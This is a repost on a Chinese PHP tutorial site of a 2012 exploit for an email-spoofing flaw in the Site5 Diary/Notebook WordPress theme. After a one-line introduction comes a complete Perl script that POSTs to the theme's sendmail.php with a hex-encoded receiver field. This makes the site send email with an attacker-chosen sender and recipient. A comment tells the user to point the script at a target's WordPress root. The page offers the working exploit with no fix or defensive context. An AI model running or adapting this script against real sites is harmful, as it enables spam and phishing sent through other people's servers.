网站地图    收藏   

主页 > 后端 > 网站安全 >

wordpress Diary/Notebook主题邮件欺骗漏洞 - 网站安全

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] WordPress的这款Diary/Notebook主题是有site5设计的一款个人日记blog系统主题.近期爆出了邮件欺骗的漏洞.附上perl脚本的Exp:#!/usr/bin/perl# Exploit Title: Diary/Notebook Site5 WordPress Theme - E......

WordPress的这款Diary/Notebook主题是有site5设计的一款个人日记blog系统主题.近期爆出了邮件欺骗的漏洞.附上perl脚本的Exp:
 
 
 
#!/usr/bin/perl
 
# Exploit Title: Diary/Notebook Site5 WordPress Theme - Email Spoofing
 
# Date: 15.07.2012
 
# Exploit Author: @bwallHatesTwits
 
# Discovered by: @xxDigiPxx (http://www.ticktockcomputers.com/wordpress/site5-wordpress-theme-diary-sendmail-php-spoofing/)
 
# Software Link: http://www.wpdiarytheme.com/
 
# Vendor Homepage: http://www.site5.com/
 
# Others Possibly Vulnerable: http://www.site5.com/wordpress-themes/
 
# Version: Not Documented
 
# Tested on: Linux 3.2 
 
use strict;
 
use warnings; www.2cto.com
 
use LWP::UserAgent; 
 
use HTTP::Request::Common qw{ POST };
 
#Change this to the root of the WordPress
 
my $wordpress = 'http://localhost/wordpress/';
 
my $url = $wordpress.'wp-content/themes/diary/sendmail.php';
 
#Name shows up in the topic of the email (Website contact message from name)
 
my $name ='Proof of Concept';
 
#Sender email address
 
my $email = 'sender@mail.com';
 
 #Content of the email
 
my $comment = 'Email content';
 
 #Receiver email address
 
my $receiver = 'receiver@mail.com';
 
$receiver =~ s/(.)/sprintf("%x",ord($1))/eg;
 
 my $ua = LWP::UserAgent->new();
 
my $request = POST( $url, [ name => $name, email => $email, comment => $comment, receiver => $receiver, submit => 'submit', ] );
 
print "Sending request to $url\n";
 
my $content = $ua->request($request)->as_string();
 
print $content;
 
print "\nDone\nFollow \@BallastSec on Twitter\n";
 
 
作者 牛X阿德玛

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论